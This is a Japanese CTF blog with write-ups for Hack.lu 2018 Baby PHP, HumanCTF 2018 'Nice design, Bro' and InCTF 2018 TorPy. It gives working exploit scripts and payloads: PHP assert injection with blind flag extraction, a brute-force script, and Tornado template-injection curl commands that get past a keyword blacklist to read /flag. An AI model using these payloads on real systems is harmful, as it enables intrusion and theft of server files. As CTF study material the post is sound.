こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

Hack.lu CTF 2018 - Baby PHP

問題文

PHP is a popular general-purpose scripting language that is especially suited to web development.
Fast, flexible and pragmatic, PHP powers everything from your blog to the most popular websites in the world.
Can you untangle this mess?!

f:id:graneed:20181018222446p:plain

writeup

まず、各種、if文とdieを突破して最後まで到達するパラメータを考える。

1. データURIスキーム

@$msg = $_GET['msg'];
if(@file_get_contents($msg)!=="Hello Challenge!"){
    die('Wow so rude!!!!1');
}

以下を参考に、データURLスキームでHello Challenge!をセットする。 http://php.net/manual/ja/wrappers.data.php

解答時はmsg=data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==としたが、
別にmsg=data://text/plain,Hell Challenge!でも問題なかった。

2. 比較

@$k1=$_GET['key1'];
@$k2=$_GET['key2'];

$cc = 1337;$bb = 42;

if(intval($k1) !== $cc || $k1 === $cc){
    die("lol no\n");
}

単純にk1変数に1337をセットすれば条件に合致せず突破できるため、クエリパラメータにkey1=1337をセットする。
一応、参考はここらへん。
PHP: PHP 型の比較表 - Manual

3. 正規表現

if(strlen($k2) == $bb){
    if(preg_match('/^\d+$/', $k2) && !is_numeric($k2)){
        if($k2 == $cc){
            @$cc = $_GET['cc'];
        }
    }
}

次のif文のために、$ccを任意のパラメータに上書きするため、if文の条件に合致させて@$cc = $_GET['cc'];まで到達させる必要がある。

は、正規表現の末尾を表していると思いきや、全角文字。

よって、$k2には合計42文字となるように、1337$+任意の文字列をセットすればよい。
クエリパラメータにkey2=1337$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaをセットする。
なお、"1337$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" == 1337TRUEになるようだ。

4. 配列

if(substr($cc, $bb) === sha1($cc)){
    foreach ($_GET as $lel => $hack){
        $$lel = $hack;
    }
}

次のif文のために、任意のパラメータをセットしたいため、if文の条件に合致させて$$lel = $hack;まで到達させる必要がある。
条件にマッチする$ccの文字列を探すのは困難だが、$ccを配列にしてしまえばよい。
よって、クエリパラメータにcc[0]=任意の文字列をセットする。

5. RLO

$<202e>b = "2";$a="<202e>b";//;1=b

if($$a !== $k1){
    die("lel no\n");
}

1行目は、RLOが使われており、実体は

b="2";
$a="b";//b=1;

になっているようだ。 $$a=2となるため、$k1=2になるようにクエリパラメータにk1=2を付与する。

6. assert

assert_options(ASSERT_BAIL, 1);
assert("$bb == $cc");

$bbに、TRUE;//をセットすれば突破できる。 しかし、突破しても

// echo $flag;  

と、コメントアウトされているため、意味がない。

そこで、"Good Job ;)"が返却されるかどうかによって、$bbにセットしたパラメータがTRUEかどうかを判定できることを利用する。Blind SQL Injectionを解くように、1文字ずつフラグ文字列を特定するスクリプトを作成して実行する。

import requests
import string
import urllib3
from urllib3.exceptions import InsecureRequestWarning
urllib3.disable_warnings(InsecureRequestWarning)

URL = 'https://arcade.fluxfingers.net:1819/'
LETTERS = string.digits+string.ascii_letters+"!#$&()*+,-./:;<=>?@[\]^_`{|}~"

password = 'flag{'

while True:
    flag = False
    for e in LETTERS:
        r = requests.get(
            URL,
            params={
                "msg":"data://text/plain;base64,SGVsbG8gQ2hhbGxlbmdlIQ==",
                "key1":"1337",
                "key2":"1337$aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
                "cc[0]":"0",
                "k1":"2",
                "bb":"$flag[{}] == '{}';//".format(len(password), e)
                #"bb":"TRUE"
            },
            verify=False
        )
        print("$flag[{}] == '{}'".format(len(password), e))
        if "Good Job ;)" in r.text:
            password += e
            print(password)
            flag = True
            break
    if flag: continue
    exit()

実行結果は以下の通り。

(snip)
$flag[37] == ']'
$flag[37] == '^'
$flag[37] == '_'
$flag[37] == '`'
$flag[37] == '{'
$flag[37] == '|'
$flag[37] == '}'
flag{7c217708c5293a3264bb136ef1fadd6e}

フラグゲット。

しかし、実は普通にassertの中でprint_r($flag)が使用できることを知る。
こんな苦労しなくてもよかったんや!

それにしても、平日のCTFは辛い。
もう1問、Web問があったが着手さえできなかった…。

HumanCTF 2018 - Nice design, Bro

問題文

One of our designers made cool gold cards. And for some reason he added numbers.

f:id:graneed:20181014005313p:plain

writeup

正しいクレジットカード番号を入力しろとのこと。

どれか1文字が?になっているクレジットカード番号が、placeholderにセットされている。

手作業で、?に適当な数値をいれて試していると、レスポンスの殆どがHTTPステータスが302だが、稀に200が返ってくることがわかる。正しいカード番号の場合、200が返ってくるようだ。

ただ、正しいカード番号の場合でも、302が返ってくることもある。
よくわからない。

placeholderで与えられるカード番号はランダムでなくパターンがあることがわかる。
カード番号のバリエーションを取得するため、スクリプトを作成した。

import requests
import re

URL="http://ctf.knastu.ru/webch/cards/gold"
pattern = 'placeholder="(.+)">'

r = requests.get(URL)
m = re.search(pattern, r.text)
if m:
    number = m.group(1)
    print("[+]number     =",number)
else:
    exit(1)

while True:
    flag = False
    for i in range(10):
        for j in range(10):
            card_number = number.replace("?",str(i))
            r = requests.post(
                URL,
                data={"card-number":card_number},
                allow_redirects=False
            )
            m = re.search(pattern, r.text)
            if "HumanCTF{" in r.text:
                print(r.text)
                exit(0)

            if m:
                print("[+]card-number=",card_number)
                number = m.group(1)
                print("[+]number     =",number)
                flag = True
                break
        if flag:
            break

結果、スクリプトを実行しているとフラグが降ってきた。 実行結果は以下。

[+]number     = 86018945306991?
[+]card-number= 860189453069916
[+]number     = ?69350876618253
[+]card-number= 169350876618253
[+]number     = 51944461476199?
[+]card-number= 519444614761991
[+]number     = 74705?779598669
[+]card-number= 747058779598669
[+]number     = 667?18296376020
[+]card-number= 667918296376020
[+]number     = 77251122409?241
[+]card-number= 772511224091241
[+]number     = 348?25600232487
[+]card-number= 348625600232487
[+]number     = 35544?989310368
[+]card-number= 355446989310368
[+]number     = 8288?1876906683
[+]card-number= 828841876906683
[+]number     = 28337872316720?
[+]card-number= 283378723167209
[+]number     = 70?673080984881
[+]card-number= 709673080984881
[+]number     = 92331906373?396
[+]card-number= 923319063733396
[+]number     = 1593020738?2606
[+]card-number= 159302073882606
[+]number     = 6145?2964936572
[+]card-number= 614502964936572
[+]number     = 1?7029011677589
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Gold Card - Überbank</title>
(snip)
                    <form action="/webch/cards/gold" method="POST">
                        <div class="form-group">
                            <label for="card-number">Enter the right number:</label>
                            <input type="text" name="card-number" id="card-number" class="form-control"
                                   placeholder="HumanCTF{giv3_m3_y0ur_CVC}">
                            <small id="card-number-help" class="form-text text-muted">
                                Example: ?78282246310005 -> 378282246310005
                            </small>
(snip)

Cookieをセットしていないため、連続正解の判定はされていないはずである。
おそらく、正しいクレジットカード番号を入力すると、ランダムでフラグが降ってくるものと想定される。

何はともあれフラグゲット。
HumanCTF{giv3_m3_y0ur_CVC}

InCTF 2018 - TorPy

問題文

Where is /flag ?

f:id:graneed:20181008012115p:plain

writeup

コメントにname=という怪しいパラメータ。

root@kali:~# curl "http://18.223.211.42/"
<!DOCTYPE html>
<html>
<head>
<title>Hack Us</title>
</head>
<body>
<h3>Can you hack our, So called amazingly secure web service !!!</h3>
<div><img src="http://contemporary-home-computing.org/still-there/belhuizen/huge_ones/world_connections.jpg" /></img></div>
<!-- name= -->
</body>
</html>

 
クエリパラメータにnameを付けるとセットされた。

root@kali:~# curl "http://18.223.211.42/" -G --data-urlencode "name=hoge"
<!DOCTYPE html>
<html>
<head>
<title>Hack Us</title>
</head>
<body>
<h3>Can you hack our, So called amazingly secure web service !!!</h3>
<div><img src="http://contemporary-home-computing.org/still-there/belhuizen/huge_ones/world_connections.jpg" /></img></div>
<!-- name=hoge -->
</body>
</html>

 
テンプレートインジェクションを試すとビンゴ。
またもやpyjail系の問題か。

root@kali:~# curl "http://18.223.211.42/" -G --data-urlencode "name={{7*7}}"
<!DOCTYPE html>
<html>
<head>
<title>Hack Us</title>
</head>
<body>
<h3>Can you hack our, So called amazingly secure web service !!!</h3>
<div><img src="http://contemporary-home-computing.org/still-there/belhuizen/huge_ones/world_connections.jpg" /></img></div>
<!-- name=49 -->
</body>
</html>

 
ここからはblacklistとの戦い。
最終的に、以下のコードが通った。
replaceを使っているのはblacklist回避である。
また、globals()はNGだったが、間にスペースを入れてglobals ()は通った。

root@kali:~# curl "http://18.223.211.42/" -G --data-urlencode "name={{globals ().__getitem__('__builthoge__'.replace('hoge','ins')).__getitem__('__imphoge__'.replace('hoge','ort'))('oh'.replace('h','s')).listdir('/')}}"
<!DOCTYPE html>
<html>
<head>
<title>Hack Us</title>
</head>
<body>
<h3>Can you hack our, So called amazingly secure web service !!!</h3>
<div><img src="http://contemporary-home-computing.org/still-there/belhuizen/huge_ones/world_connections.jpg" /></img></div>
<!-- name=[&#39;proc&#39;, &#39;lib64&#39;, &#39;sbin&#39;, &#39;mnt&#39;, &#39;var&#39;, &#39;lost+found&#39;, &#39;media&#39;, &#39;initrd.img&#39;, &#39;usr&#39;, &#39;vmlinuz&#39;, &#39;etc&#39;, &#39;boot&#39;, &#39;tmp&#39;, &#39;srv&#39;, &#39;dev&#39;, &#39;run&#39;, &#39;sys&#39;, &#39;snap&#39;, &#39;vmlinuz.old&#39;, &#39;root&#39;, &#39;bin&#39;, &#39;initrd.img.old&#39;, &#39;opt&#39;, &#39;lib&#39;, &#39;flag&#39;, &#39;home&#39;] -->
</body>
</html>

 
以下で/flagを読み込み。

root@kali:~# curl "http://18.223.211.42/" -G --data-urlencode "name={{globals ().__getitem__('__builthoge__'.replace('hoge','ins')).__getitem__('ophoge'.replace('hoge','en'))('/flag').read()}}"
<!DOCTYPE html>
<html>
<head>
<title>Hack Us</title>
</head>
<body>
<h3>Can you hack our, So called amazingly secure web service !!!</h3>
<div><img src="http://contemporary-home-computing.org/still-there/belhuizen/huge_ones/world_connections.jpg" /></img></div>
<!-- name=inctf{Wh3n_SST1_M33ts_T0rn4d0_U51ing_Pyth0n3_!!!_1t5_M461c4l}
 -->
</body>
</html>

フラグゲット。
inctf{Wh3n_SST1_M33ts_T0rn4d0_U51ing_Pyth0n3!!!1t5_M461c4l}

最近、pyjail系の問題ばかり解いている気がする。

補足

blacklistを確認するため、ソースコードも取得した。

import tornado.template
import tornado.ioloop
import tornado.web

class MainHandler(tornado.web.RequestHandler):
    def get(self):
        name = self.get_argument('name', '')
        if(name=="index.html"):
            template_data = open("/var/www/chall-1/index.html").read()
            t = tornado.template.Template(template_data)
            self.write(t.generate(name=name))
        else:
            blacklist=['import','os','class','subclasses','mro','request','args','eval','if','for','%','subprocess','file','open','popen','builtins','+','compile','execfile','getattr',']','[','from_pyfile','tornado','config','app','base','als(']
            flag=0
            for i in blacklist:
                if i in name:
                    flag=1
                    break
            if(flag==1):
                template_data = open("/var/www/chall-1/index.html").read().replace("index.html","Sorry, but some keywords are blacklisted in your payload!!!")
                t = tornado.template.Template(template_data)
                self.write(t.generate(name=name))
            else:
                if(name.count("{")>2 or name.count("}")>2):
                    template_data = open("/var/www/chall-1/index.html").read().replace("index.html","you can only use two '{' and two '}'")
                    t = tornado.template.Template(template_data)
                    self.write(t.generate(name=name))
                else:
                    template_data = open("/var/www/chall-1/index.html").read().replace("index.html",name)
                    t = tornado.template.Template(template_data)
                    self.write(t.generate(name=name))

application = tornado.web.Application([
    (r"/", MainHandler),
], debug=False, static_path=None, template_path=None)

if __name__ == '__main__':
    application.listen(8000)
    tornado.ioloop.IOLoop.instance().start()